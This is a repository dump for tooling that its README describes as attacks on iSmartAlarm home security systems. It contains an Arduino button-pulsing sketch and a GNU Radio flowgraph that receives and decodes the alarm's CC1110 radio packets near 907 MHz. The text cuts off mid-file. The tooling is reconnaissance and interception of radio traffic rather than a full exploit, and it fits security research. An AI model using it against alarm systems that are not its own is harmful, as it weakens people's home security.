├── LICENSE ├── README.md ├── arduino └── button_push │ └── button_push.ino ├── grc ├── __init__.py ├── __init__.pyc ├── ism_demod.grc ├── ism_demod.py └── ism_demod.pyc └── scripts ├── GoodFET.py ├── GoodFET.pyc ├── GoodFETCC.py ├── GoodFETCC.pyc ├── grc ├── ism_rx.py └── rfcat_receiver.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Seekintoo Ltd. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # iSmartAlarm 2 | GNURadio GRC files, Arduino code and scripts for preforming attacks on iSmartAlarm systems 3 | 4 | Copyright (c) Dayton Pidhirney Seekintoo Ltd. 5 | -------------------------------------------------------------------------------- /arduino/button_push/button_push.ino: -------------------------------------------------------------------------------- 1 | byte switchPin = 8; 2 | byte inByte = 0; 3 | 4 | void setup() { 5 | Serial.begin(9600); 6 | while (!Serial) { 7 | ; 8 | } 9 | 10 | pinMode(switchPin, OUTPUT); 11 | digitalWrite(switchPin, LOW); 12 | } 13 | 14 | void loop() { 15 | if (Serial.available() > 0) { 16 | // get the new byte: 17 | inByte = Serial.read(); 18 | 19 | if (inByte == 49 ) { 20 | // Serial.print(inByte, DEC); 21 | 22 | for (int i=0; i<2; ++i) { 23 | digitalWrite(switchPin, HIGH); 24 | delay(250); 25 | digitalWrite(switchPin, LOW); 26 | delay(250); 27 | } 28 | inByte = 0; 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /grc/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/grc/__init__.py -------------------------------------------------------------------------------- /grc/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/grc/__init__.pyc -------------------------------------------------------------------------------- /grc/ism_demod.grc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sun Nov 16 10:44:20 2014 5 | 6 | options 7 | 8 | author 9 | 10 | 11 | 12 | window_size 13 | 1280, 1024 14 | 15 | 16 | category 17 | Custom 18 | 19 | 20 | comment 21 | 22 | 23 | 24 | description 25 | 26 | 27 | 28 | _enabled 29 | True 30 | 31 | 32 | _coordinate 33 | (8, 8) 34 | 35 | 36 | _rotation 37 | 0 38 | 39 | 40 | generate_options 41 | wx_gui 42 | 43 | 44 | hier_block_src_path 45 | .: 46 | 47 | 48 | id 49 | ism_demod 50 | 51 | 52 | max_nouts 53 | 0 54 | 55 | 56 | qt_qss_theme 57 | 58 | 59 | 60 | realtime_scheduling 61 | 62 | 63 | 64 | run_command 65 | {python} -u {filename} 66 | 67 | 68 | run_options 69 | run 70 | 71 | 72 | run 73 | True 74 | 75 | 76 | thread_safe_setters 77 | 1 78 | 79 | 80 | title 81 | iSmartAlarm CC1110 Decoder 82 | 83 | 84 | 85 | variable 86 | 87 | comment 88 | 89 | 90 | 91 | _enabled 92 | True 93 | 94 | 95 | _coordinate 96 | (976, 4) 97 | 98 | 99 | _rotation 100 | 0 101 | 102 | 103 | id 104 | access_code 105 | 106 | 107 | value 108 | '11010011100100011101001110010001' 109 | 110 | 111 | 112 | variable 113 | 114 | comment 115 | 116 | 117 | 118 | _enabled 119 | True 120 | 121 | 122 | _coordinate 123 | (1160, 4) 124 | 125 | 126 | _rotation 127 | 0 128 | 129 | 130 | id 131 | crc_verbose 132 | 133 | 134 | value 135 | True 136 | 137 | 138 | 139 | variable 140 | 141 | comment 142 | 143 | 144 | 145 | _enabled 146 | True 147 | 148 | 149 | _coordinate 150 | (280, 68) 151 | 152 | 153 | _rotation 154 | 0 155 | 156 | 157 | id 158 | fft_sp 159 | 160 | 161 | value 162 | 50000 163 | 164 | 165 | 166 | variable 167 | 168 | comment 169 | 170 | 171 | 172 | _enabled 173 | True 174 | 175 | 176 | _coordinate 177 | (632, 4) 178 | 179 | 180 | _rotation 181 | 180 182 | 183 | 184 | id 185 | firdes_cutoff 186 | 187 | 188 | value 189 | 17e3 190 | 191 | 192 | 193 | variable 194 | 195 | comment 196 | 197 | 198 | 199 | _enabled 200 | True 201 | 202 | 203 | _coordinate 204 | (632, 68) 205 | 206 | 207 | _rotation 208 | 180 209 | 210 | 211 | id 212 | firdes_decim 213 | 214 | 215 | value 216 | 4 217 | 218 | 219 | 220 | variable 221 | 222 | comment 223 | 224 | 225 | 226 | _enabled 227 | True 228 | 229 | 230 | _coordinate 231 | (472, 68) 232 | 233 | 234 | _rotation 235 | 0 236 | 237 | 238 | id 239 | firdes_filter 240 | 241 | 242 | value 243 | firdes.low_pass(1,samp_rate/2, firdes_cutoff, firdes_transition_width) 244 | 245 | 246 | 247 | variable 248 | 249 | comment 250 | 251 | 252 | 253 | _enabled 254 | True 255 | 256 | 257 | _coordinate 258 | (480, 4) 259 | 260 | 261 | _rotation 262 | 0 263 | 264 | 265 | id 266 | firdes_transition_width 267 | 268 | 269 | value 270 | 13e3 271 | 272 | 273 | 274 | variable_static_text 275 | 276 | comment 277 | 278 | 279 | 280 | converver 281 | float_converter 282 | 283 | 284 | value 285 | frequency_center + frequency_shift + frequency_tune 286 | 287 | 288 | _enabled 289 | True 290 | 291 | 292 | formatter 293 | None 294 | 295 | 296 | _coordinate 297 | (496, 136) 298 | 299 | 300 | _rotation 301 | 0 302 | 303 | 304 | grid_pos 305 | 1,0,1,4 306 | 307 | 308 | id 309 | freq_display 310 | 311 | 312 | label 313 | Current Frequency 314 | 315 | 316 | notebook 317 | 318 | 319 | 320 | 321 | variable 322 | 323 | comment 324 | 325 | 326 | 327 | _enabled 328 | True 329 | 330 | 331 | _coordinate 332 | (864, 4) 333 | 334 | 335 | _rotation 336 | 0 337 | 338 | 339 | id 340 | frequency 341 | 342 | 343 | value 344 | frequency_center + frequency_shift + frequency_tune 345 | 346 | 347 | 348 | variable 349 | 350 | comment 351 | 352 | 353 | 354 | _enabled 355 | True 356 | 357 | 358 | _coordinate 359 | (736, 4) 360 | 361 | 362 | _rotation 363 | 0 364 | 365 | 366 | id 367 | frequency_center 368 | 369 | 370 | value 371 | 907481800 372 | 373 | 374 | 375 | variable 376 | 377 | comment 378 | 379 | 380 | 381 | _enabled 382 | True 383 | 384 | 385 | _coordinate 386 | (744, 68) 387 | 388 | 389 | _rotation 390 | 0 391 | 392 | 393 | id 394 | frequency_shift 395 | 396 | 397 | value 398 | 0.52e06 399 | 400 | 401 | 402 | variable_slider 403 | 404 | comment 405 | 406 | 407 | 408 | converver 409 | float_converter 410 | 411 | 412 | value 413 | 0 414 | 415 | 416 | _enabled 417 | True 418 | 419 | 420 | _coordinate 421 | (352, 136) 422 | 423 | 424 | _rotation 425 | 0 426 | 427 | 428 | grid_pos 429 | 0,0,1,1 430 | 431 | 432 | id 433 | frequency_tune 434 | 435 | 436 | label 437 | Frequency Tuning 438 | 439 | 440 | max 441 | 30e3 442 | 443 | 444 | min 445 | -30e3 446 | 447 | 448 | notebook 449 | 450 | 451 | 452 | num_steps 453 | 1000 454 | 455 | 456 | style 457 | wx.SL_HORIZONTAL 458 | 459 | 460 | 461 | variable 462 | 463 | comment 464 | 465 | 466 | 467 | _enabled 468 | True 469 | 470 | 471 | _coordinate 472 | (1072, 68) 473 | 474 | 475 | _rotation 476 | 0 477 | 478 | 479 | id 480 | myqueue 481 | 482 | 483 | value 484 | gr.msg_queue(200) 485 | 486 | 487 | 488 | variable 489 | 490 | comment 491 | 492 | 493 | 494 | _enabled 495 | True 496 | 497 | 498 | _coordinate 499 | (888, 68) 500 | 501 | 502 | _rotation 503 | 0 504 | 505 | 506 | id 507 | rat_decim 508 | 509 | 510 | value 511 | 5 512 | 513 | 514 | 515 | variable 516 | 517 | comment 518 | 519 | 520 | 521 | _enabled 522 | True 523 | 524 | 525 | _coordinate 526 | (976, 68) 527 | 528 | 529 | _rotation 530 | 0 531 | 532 | 533 | id 534 | rat_interop 535 | 536 | 537 | value 538 | 8 539 | 540 | 541 | 542 | variable 543 | 544 | comment 545 | 546 | 547 | 548 | _enabled 549 | True 550 | 551 | 552 | _coordinate 553 | (360, 68) 554 | 555 | 556 | _rotation 557 | 0 558 | 559 | 560 | id 561 | samp_per_sym 562 | 563 | 564 | value 565 | ((samp_rate/2/firdes_decim)*rat_interop/rat_decim) / symbole_rate 566 | 567 | 568 | 569 | variable 570 | 571 | comment 572 | 573 | 574 | 575 | _enabled 576 | True 577 | 578 | 579 | _coordinate 580 | (264, 4) 581 | 582 | 583 | _rotation 584 | 0 585 | 586 | 587 | id 588 | samp_rate 589 | 590 | 591 | value 592 | 6e6 593 | 594 | 595 | 596 | variable 597 | 598 | comment 599 | 600 | 601 | 602 | _enabled 603 | True 604 | 605 | 606 | _coordinate 607 | (368, 4) 608 | 609 | 610 | _rotation 611 | 0 612 | 613 | 614 | id 615 | symbole_rate 616 | 617 | 618 | value 619 | 38383.5 620 | 621 | 622 | 623 | analog_quadrature_demod_cf 624 | 625 | alias 626 | 627 | 628 | 629 | comment 630 | 631 | 632 | 633 | affinity 634 | 635 | 636 | 637 | _enabled 638 | 1 639 | 640 | 641 | _coordinate 642 | (528, 484) 643 | 644 | 645 | _rotation 646 | 0 647 | 648 | 649 | gain 650 | 4 651 | 652 | 653 | id 654 | analog_quadrature_demod_cf_0 655 | 656 | 657 | maxoutbuf 658 | 0 659 | 660 | 661 | minoutbuf 662 | 0 663 | 664 | 665 | 666 | blocks_null_sink 667 | 668 | alias 669 | 670 | 671 | 672 | bus_conns 673 | [[0,],] 674 | 675 | 676 | comment 677 | 678 | 679 | 680 | affinity 681 | 682 | 683 | 684 | _enabled 685 | 1 686 | 687 | 688 | _coordinate 689 | (536, 608) 690 | 691 | 692 | _rotation 693 | 180 694 | 695 | 696 | id 697 | blocks_null_sink_0 698 | 699 | 700 | type 701 | byte 702 | 703 | 704 | num_inputs 705 | 1 706 | 707 | 708 | vlen 709 | 1 710 | 711 | 712 | 713 | digital_binary_slicer_fb 714 | 715 | alias 716 | 717 | 718 | 719 | comment 720 | 721 | 722 | 723 | affinity 724 | 725 | 726 | 727 | _enabled 728 | True 729 | 730 | 731 | _coordinate 732 | (1088, 488) 733 | 734 | 735 | _rotation 736 | 0 737 | 738 | 739 | id 740 | digital_binary_slicer_fb_0 741 | 742 | 743 | maxoutbuf 744 | 0 745 | 746 | 747 | minoutbuf 748 | 0 749 | 750 | 751 | 752 | digital_clock_recovery_mm_xx 753 | 754 | alias 755 | 756 | 757 | 758 | comment 759 | 760 | 761 | 762 | affinity 763 | 764 | 765 | 766 | _enabled 767 | True 768 | 769 | 770 | _coordinate 771 | (744, 456) 772 | 773 | 774 | _rotation 775 | 0 776 | 777 | 778 | gain_mu 779 | 0.175 780 | 781 | 782 | gain_omega 783 | 0.25*0.175*0.175 784 | 785 | 786 | id 787 | digital_clock_recovery_mm_xx_0 788 | 789 | 790 | maxoutbuf 791 | 0 792 | 793 | 794 | minoutbuf 795 | 0 796 | 797 | 798 | mu 799 | 0.5 800 | 801 | 802 | omega_relative_limit 803 | 0.005 804 | 805 | 806 | omega 807 | samp_per_sym*(1+0.0) 808 | 809 | 810 | type 811 | float 812 | 813 | 814 | 815 | digital_correlate_access_code_bb 816 | 817 | access_code 818 | access_code 819 | 820 | 821 | alias 822 | 823 | 824 | 825 | comment 826 | 827 | 828 | 829 | affinity 830 | 831 | 832 | 833 | _enabled 834 | 1 835 | 836 | 837 | _coordinate 838 | (1048, 596) 839 | 840 | 841 | _rotation 842 | 180 843 | 844 | 845 | id 846 | digital_correlate_access_code_bb_0 847 | 848 | 849 | maxoutbuf 850 | 0 851 | 852 | 853 | minoutbuf 854 | 0 855 | 856 | 857 | threshold 858 | 1 859 | 860 | 861 | 862 | freq_xlating_fir_filter_xxx 863 | 864 | alias 865 | 866 | 867 | 868 | center_freq 869 | frequency_shift + frequency_tune 870 | 871 | 872 | comment 873 | 874 | 875 | 876 | affinity 877 | 878 | 879 | 880 | decim 881 | 8 882 | 883 | 884 | _enabled 885 | 1 886 | 887 | 888 | _coordinate 889 | (440, 336) 890 | 891 | 892 | _rotation 893 | 0 894 | 895 | 896 | id 897 | freq_xlating_fir_filter_xxx_1 898 | 899 | 900 | maxoutbuf 901 | 0 902 | 903 | 904 | minoutbuf 905 | 0 906 | 907 | 908 | samp_rate 909 | samp_rate 910 | 911 | 912 | taps 913 | 1 914 | 915 | 916 | type 917 | ccc 918 | 919 | 920 | 921 | freq_xlating_fir_filter_xxx 922 | 923 | alias 924 | 925 | 926 | 927 | center_freq 928 | 0 929 | 930 | 931 | comment 932 | 933 | 934 | 935 | affinity 936 | 937 | 938 | 939 | decim 940 | firdes_decim 941 | 942 | 943 | _enabled 944 | 1 945 | 946 | 947 | _coordinate 948 | (64, 464) 949 | 950 | 951 | _rotation 952 | 0 953 | 954 | 955 | id 956 | freq_xlating_fir_filter_xxx_1_0 957 | 958 | 959 | maxoutbuf 960 | 0 961 | 962 | 963 | minoutbuf 964 | 0 965 | 966 | 967 | samp_rate 968 | samp_rate/2 969 | 970 | 971 | taps 972 | firdes_filter 973 | 974 | 975 | type 976 | ccc 977 | 978 | 979 | 980 | ism_ism_packet_decoder 981 | 982 | alias 983 | 984 | 985 | 986 | do_crc16_check 987 | True 988 | 989 | 990 | comment 991 | 992 | 993 | 994 | affinity 995 | 996 | 997 | 998 | _enabled 999 | True 1000 | 1001 | 1002 | _coordinate 1003 | (728, 588) 1004 | 1005 | 1006 | _rotation 1007 | 180 1008 | 1009 | 1010 | id 1011 | ism_ism_packet_decoder_0 1012 | 1013 | 1014 | maxoutbuf 1015 | 0 1016 | 1017 | 1018 | minoutbuf 1019 | 0 1020 | 1021 | 1022 | target_queue 1023 | myqueue 1024 | 1025 | 1026 | verbose 1027 | False 1028 | 1029 | 1030 | 1031 | osmosdr_source 1032 | 1033 | alias 1034 | 1035 | 1036 | 1037 | ant0 1038 | 1039 | 1040 | 1041 | bb_gain0 1042 | 0 1043 | 1044 | 1045 | bw0 1046 | 50000 1047 | 1048 | 1049 | dc_offset_mode0 1050 | 0 1051 | 1052 | 1053 | corr0 1054 | 0 1055 | 1056 | 1057 | freq0 1058 | frequency_center 1059 | 1060 | 1061 | gain_mode0 1062 | True 1063 | 1064 | 1065 | if_gain0 1066 | 0 1067 | 1068 | 1069 | iq_balance_mode0 1070 | 0 1071 | 1072 | 1073 | gain0 1074 | 0 1075 | 1076 | 1077 | ant1 1078 | 1079 | 1080 | 1081 | bb_gain1 1082 | 20 1083 | 1084 | 1085 | bw1 1086 | 0 1087 | 1088 | 1089 | dc_offset_mode1 1090 | 0 1091 | 1092 | 1093 | corr1 1094 | 0 1095 | 1096 | 1097 | freq1 1098 | 100e6 1099 | 1100 | 1101 | gain_mode1 1102 | False 1103 | 1104 | 1105 | if_gain1 1106 | 20 1107 | 1108 | 1109 | iq_balance_mode1 1110 | 0 1111 | 1112 | 1113 | gain1 1114 | 10 1115 | 1116 | 1117 | ant2 1118 | 1119 | 1120 | 1121 | bb_gain2 1122 | 20 1123 | 1124 | 1125 | bw2 1126 | 0 1127 | 1128 | 1129 | dc_offset_mode2 1130 | 0 1131 | 1132 | 1133 | corr2 1134 | 0 1135 | 1136 | 1137 | freq2 1138 | 100e6 1139 | 1140 | 1141 | gain_mode2 1142 | False 1143 | 1144 | 1145 | if_gain2 1146 | 20 1147 | 1148 | 1149 | iq_balance_mode2 1150 | 0 1151 | 1152 | 1153 | gain2 1154 | 10 1155 | 1156 | 1157 | ant3 1158 | 1159 | 1160 | 1161 | bb_gain3 1162 | 20 1163 | 1164 | 1165 | bw3 1166 | 0 1167 | 1168 | 1169 | dc_offset_mode3 1170 | 0 1171 | 1172 | 1173 | corr3 1174 | 0 1175 | 1176 | 1177 | freq3 1178 | 100e6 1179 | 1180 | 1181 | gain_mode3 1182 | False 1183 | 1184 | 1185 | if_gain3 1186 | 20 1187 | 1188 | 1189 | iq_balance_mode3 1190 | 0 1191 | 1192 | 1193 | gain3 1194 | 10 1195 | 1196 | 1197 | ant4 1198 | 1199 | 1200 | 1201 | bb_gain4 1202 | 20 1203 | 1204 | 1205 | bw4 1206 | 0 1207 | 1208 | 1209 | dc_offset_mode4 1210 | 0 1211 | 1212 | 1213 | corr4 1214 | 0 1215 | 1216 | 1217 | freq4 1218 | 100e6 1219 | 1220 | 1221 | gain_mode4 1222 | False 1223 | 1224 | 1225 | if_gain4 1226 | 20 1227 | 1228 | 1229 | iq_balance_mode4 1230 | 0 1231 | 1232 | 1233 | gain4 1234 | 10 1235 | 1236 | 1237 | comment 1238 | 1239 | 1240 | 1241 | affinity 1242 | 1243 | 1244 | 1245 | args 1246 | name=MyB210,product=B210,serial=30C62A1,type=b200,uhd 1247 | 1248 | 1249 | _enabled 1250 | True 1251 | 1252 | 1253 | _coordinate 1254 | (8, 92) 1255 | 1256 | 1257 | _rotation 1258 | 0 1259 | 1260 | 1261 | id 1262 | osmosdr_source_0 1263 | 1264 | 1265 | maxoutbuf 1266 | 0 1267 | 1268 | 1269 | minoutbuf 1270 | 0 1271 | 1272 | 1273 | nchan 1274 | 1 1275 | 1276 | 1277 | type 1278 | fc32 1279 | 1280 | 1281 | sample_rate 1282 | samp_rate 1283 | 1284 | 1285 | 1286 | rational_resampler_xxx 1287 | 1288 | alias 1289 | 1290 | 1291 | 1292 | comment 1293 | 1294 | 1295 | 1296 | affinity 1297 | 1298 | 1299 | 1300 | decim 1301 | int(samp_rate/2/fft_sp) 1302 | 1303 | 1304 | _enabled 1305 | 1 1306 | 1307 | 1308 | fbw 1309 | 0 1310 | 1311 | 1312 | _coordinate 1313 | (776, 336) 1314 | 1315 | 1316 | _rotation 1317 | 0 1318 | 1319 | 1320 | id 1321 | rational_resampler_xxx_0 1322 | 1323 | 1324 | interp 1325 | 1 1326 | 1327 | 1328 | maxoutbuf 1329 | 0 1330 | 1331 | 1332 | minoutbuf 1333 | 0 1334 | 1335 | 1336 | taps 1337 | 1338 | 1339 | 1340 | type 1341 | ccc 1342 | 1343 | 1344 | 1345 | rational_resampler_xxx 1346 | 1347 | alias 1348 | 1349 | 1350 | 1351 | comment 1352 | 1353 | 1354 | 1355 | affinity 1356 | 1357 | 1358 | 1359 | decim 1360 | rat_decim 1361 | 1362 | 1363 | _enabled 1364 | 1 1365 | 1366 | 1367 | fbw 1368 | 0 1369 | 1370 | 1371 | _coordinate 1372 | (320, 464) 1373 | 1374 | 1375 | _rotation 1376 | 0 1377 | 1378 | 1379 | id 1380 | rational_resampler_xxx_0_0 1381 | 1382 | 1383 | interp 1384 | rat_interop 1385 | 1386 | 1387 | maxoutbuf 1388 | 0 1389 | 1390 | 1391 | minoutbuf 1392 | 0 1393 | 1394 | 1395 | taps 1396 | 1397 | 1398 | 1399 | type 1400 | ccc 1401 | 1402 | 1403 | 1404 | wxgui_fftsink2 1405 | 1406 | avg_alpha 1407 | 0 1408 | 1409 | 1410 | average 1411 | False 1412 | 1413 | 1414 | baseband_freq 1415 | frequency_center + frequency_shift + frequency_tune 1416 | 1417 | 1418 | alias 1419 | 1420 | 1421 | 1422 | comment 1423 | 1424 | 1425 | 1426 | affinity 1427 | 1428 | 1429 | 1430 | _enabled 1431 | True 1432 | 1433 | 1434 | fft_size 1435 | 1024 1436 | 1437 | 1438 | freqvar 1439 | None 1440 | 1441 | 1442 | _coordinate 1443 | (1040, 280) 1444 | 1445 | 1446 | _rotation 1447 | 0 1448 | 1449 | 1450 | grid_pos 1451 | 2,0,1,4 1452 | 1453 | 1454 | id 1455 | wxgui_fftsink2_0 1456 | 1457 | 1458 | notebook 1459 | 1460 | 1461 | 1462 | peak_hold 1463 | True 1464 | 1465 | 1466 | ref_level 1467 | -30 1468 | 1469 | 1470 | ref_scale 1471 | 2.0 1472 | 1473 | 1474 | fft_rate 1475 | 60 1476 | 1477 | 1478 | samp_rate 1479 | fft_sp 1480 | 1481 | 1482 | title 1483 | FFT 1484 | 1485 | 1486 | type 1487 | complex 1488 | 1489 | 1490 | win_size 1491 | 1492 | 1493 | 1494 | win 1495 | None 1496 | 1497 | 1498 | y_divs 1499 | 10 1500 | 1501 | 1502 | y_per_div 1503 | 10 1504 | 1505 | 1506 | 1507 | analog_quadrature_demod_cf_0 1508 | digital_clock_recovery_mm_xx_0 1509 | 0 1510 | 0 1511 | 1512 | 1513 | digital_binary_slicer_fb_0 1514 | digital_correlate_access_code_bb_0 1515 | 0 1516 | 0 1517 | 1518 | 1519 | digital_clock_recovery_mm_xx_0 1520 | digital_binary_slicer_fb_0 1521 | 0 1522 | 0 1523 | 1524 | 1525 | digital_correlate_access_code_bb_0 1526 | ism_ism_packet_decoder_0 1527 | 0 1528 | 0 1529 | 1530 | 1531 | freq_xlating_fir_filter_xxx_1 1532 | freq_xlating_fir_filter_xxx_1_0 1533 | 0 1534 | 0 1535 | 1536 | 1537 | freq_xlating_fir_filter_xxx_1 1538 | rational_resampler_xxx_0 1539 | 0 1540 | 0 1541 | 1542 | 1543 | freq_xlating_fir_filter_xxx_1_0 1544 | rational_resampler_xxx_0_0 1545 | 0 1546 | 0 1547 | 1548 | 1549 | ism_ism_packet_decoder_0 1550 | blocks_null_sink_0 1551 | 0 1552 | 0 1553 | 1554 | 1555 | osmosdr_source_0 1556 | freq_xlating_fir_filter_xxx_1 1557 | 0 1558 | 0 1559 | 1560 | 1561 | rational_resampler_xxx_0 1562 | wxgui_fftsink2_0 1563 | 0 1564 | 0 1565 | 1566 | 1567 | rational_resampler_xxx_0_0 1568 | analog_quadrature_demod_cf_0 1569 | 0 1570 | 0 1571 | 1572 | 1573 | -------------------------------------------------------------------------------- /grc/ism_demod.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | ################################################## 4 | # GNU Radio Python Flow Graph 5 | # Title: iSmartAlarm CC1110 Decoder 6 | # Generated: Tue Mar 7 13:50:14 2017 7 | ################################################## 8 | import threading 9 | 10 | if __name__ == '__main__': 11 | import ctypes 12 | import sys 13 | if sys.platform.startswith('linux'): 14 | try: 15 | x11 = ctypes.cdll.LoadLibrary('libX11.so') 16 | x11.XInitThreads() 17 | except: 18 | print "Warning: failed to XInitThreads()" 19 | 20 | from gnuradio import analog 21 | from gnuradio import blocks 22 | from gnuradio import digital 23 | from gnuradio import eng_notation 24 | from gnuradio import filter 25 | from gnuradio import gr 26 | from gnuradio import wxgui 27 | from gnuradio.eng_option import eng_option 28 | from gnuradio.fft import window 29 | from gnuradio.filter import firdes 30 | from gnuradio.wxgui import fftsink2 31 | from gnuradio.wxgui import forms 32 | from grc_gnuradio import wxgui as grc_wxgui 33 | from optparse import OptionParser 34 | import ism 35 | import math 36 | import osmosdr 37 | import wx 38 | 39 | 40 | class ism_demod(grc_wxgui.top_block_gui): 41 | 42 | def __init__(self): 43 | grc_wxgui.top_block_gui.__init__(self, title="iSmartAlarm CC1110 Decoder") 44 | 45 | self._lock = threading.RLock() 46 | 47 | ################################################## 48 | # Variables 49 | ################################################## 50 | self.symbole_rate = symbole_rate = 38383.5 51 | self.samp_rate = samp_rate = 6e6 52 | self.rat_interop = rat_interop = 8 53 | self.rat_decim = rat_decim = 5 54 | self.frequency_tune = frequency_tune = 0 55 | self.frequency_shift = frequency_shift = 0.52e06 56 | self.frequency_center = frequency_center = 907481800 57 | self.firdes_transition_width = firdes_transition_width = 13e3 58 | self.firdes_decim = firdes_decim = 4 59 | self.firdes_cutoff = firdes_cutoff = 17e3 60 | self.samp_per_sym = samp_per_sym = ((samp_rate/2/firdes_decim)*rat_interop/rat_decim) / symbole_rate 61 | self.myqueue = myqueue = gr.msg_queue(200) 62 | self.frequency = frequency = frequency_center + frequency_shift + frequency_tune 63 | self.freq_display = freq_display = frequency_center + frequency_shift + frequency_tune 64 | self.firdes_filter = firdes_filter = firdes.low_pass(1,samp_rate/2, firdes_cutoff, firdes_transition_width) 65 | self.fft_sp = fft_sp = 50000 66 | self.crc_verbose = crc_verbose = True 67 | self.access_code = access_code = '11010011100100011101001110010001' 68 | 69 | ################################################## 70 | # Blocks 71 | ################################################## 72 | _frequency_tune_sizer = wx.BoxSizer(wx.VERTICAL) 73 | self._frequency_tune_text_box = forms.text_box( 74 | parent=self.GetWin(), 75 | sizer=_frequency_tune_sizer, 76 | value=self.frequency_tune, 77 | callback=self.set_frequency_tune, 78 | label='Frequency Tuning', 79 | converter=forms.float_converter(), 80 | proportion=0, 81 | ) 82 | self._frequency_tune_slider = forms.slider( 83 | parent=self.GetWin(), 84 | sizer=_frequency_tune_sizer, 85 | value=self.frequency_tune, 86 | callback=self.set_frequency_tune, 87 | minimum=-30e3, 88 | maximum=30e3, 89 | num_steps=1000, 90 | style=wx.SL_HORIZONTAL, 91 | cast=float, 92 | proportion=1, 93 | ) 94 | self.GridAdd(_frequency_tune_sizer, 0, 0, 1, 1) 95 | self.wxgui_fftsink2_0 = fftsink2.fft_sink_c( 96 | self.GetWin(), 97 | baseband_freq=frequency_center + frequency_shift + frequency_tune, 98 | y_per_div=10, 99 | y_divs=10, 100 | ref_level=-30, 101 | ref_scale=2.0, 102 | sample_rate=fft_sp, 103 | fft_size=1024, 104 | fft_rate=60, 105 | average=False, 106 | avg_alpha=None, 107 | title='FFT', 108 | peak_hold=True, 109 | ) 110 | self.GridAdd(self.wxgui_fftsink2_0.win, 2, 0, 1, 4) 111 | self.rational_resampler_xxx_0_0 = filter.rational_resampler_ccc( 112 | interpolation=rat_interop, 113 | decimation=rat_decim, 114 | taps=None, 115 | fractional_bw=None, 116 | ) 117 | self.rational_resampler_xxx_0 = filter.rational_resampler_ccc( 118 | interpolation=1, 119 | decimation=int(samp_rate/2/fft_sp), 120 | taps=None, 121 | fractional_bw=None, 122 | ) 123 | self.osmosdr_source_0 = osmosdr.source( args="numchan=" + str(1) + " " + 'name=MyB210,product=B210,serial=30C62A1,type=b200,uhd' ) 124 | self.osmosdr_source_0.set_sample_rate(samp_rate) 125 | self.osmosdr_source_0.set_center_freq(frequency_center, 0) 126 | self.osmosdr_source_0.set_freq_corr(0, 0) 127 | self.osmosdr_source_0.set_dc_offset_mode(0, 0) 128 | self.osmosdr_source_0.set_iq_balance_mode(0, 0) 129 | self.osmosdr_source_0.set_gain_mode(True, 0) 130 | self.osmosdr_source_0.set_gain(0, 0) 131 | self.osmosdr_source_0.set_if_gain(0, 0) 132 | self.osmosdr_source_0.set_bb_gain(0, 0) 133 | self.osmosdr_source_0.set_antenna('', 0) 134 | self.osmosdr_source_0.set_bandwidth(50000, 0) 135 | 136 | self.ism_ism_packet_decoder_0 = ism.ism_packet_decoder(myqueue, True, False) 137 | self.freq_xlating_fir_filter_xxx_1_0 = filter.freq_xlating_fir_filter_ccc(firdes_decim, (firdes_filter), 0, samp_rate/2) 138 | self.freq_xlating_fir_filter_xxx_1 = filter.freq_xlating_fir_filter_ccc(8, (1, ), frequency_shift + frequency_tune, samp_rate) 139 | self._freq_display_static_text = forms.static_text( 140 | parent=self.GetWin(), 141 | value=self.freq_display, 142 | callback=self.set_freq_display, 143 | label='Current Frequency', 144 | converter=forms.float_converter(), 145 | ) 146 | self.GridAdd(self._freq_display_static_text, 1, 0, 1, 4) 147 | self.digital_correlate_access_code_bb_0 = digital.correlate_access_code_bb(access_code, 1) 148 | self.digital_clock_recovery_mm_xx_0 = digital.clock_recovery_mm_ff(samp_per_sym*(1+0.0), 0.25*0.175*0.175, 0.5, 0.175, 0.005) 149 | self.digital_binary_slicer_fb_0 = digital.binary_slicer_fb() 150 | self.blocks_null_sink_0 = blocks.null_sink(gr.sizeof_char*1) 151 | self.analog_quadrature_demod_cf_0 = analog.quadrature_demod_cf(4) 152 | 153 | ################################################## 154 | # Connections 155 | ################################################## 156 | self.connect((self.analog_quadrature_demod_cf_0, 0), (self.digital_clock_recovery_mm_xx_0, 0)) 157 | self.connect((self.digital_binary_slicer_fb_0, 0), (self.digital_correlate_access_code_bb_0, 0)) 158 | self.connect((self.digital_clock_recovery_mm_xx_0, 0), (self.digital_binary_slicer_fb_0, 0)) 159 | self.connect((self.digital_correlate_access_code_bb_0, 0), (self.ism_ism_packet_decoder_0, 0)) 160 | self.connect((self.freq_xlating_fir_filter_xxx_1, 0), (self.freq_xlating_fir_filter_xxx_1_0, 0)) 161 | self.connect((self.freq_xlating_fir_filter_xxx_1, 0), (self.rational_resampler_xxx_0, 0)) 162 | self.connect((self.freq_xlating_fir_filter_xxx_1_0, 0), (self.rational_resampler_xxx_0_0, 0)) 163 | self.connect((self.ism_ism_packet_decoder_0, 0), (self.blocks_null_sink_0, 0)) 164 | self.connect((self.osmosdr_source_0, 0), 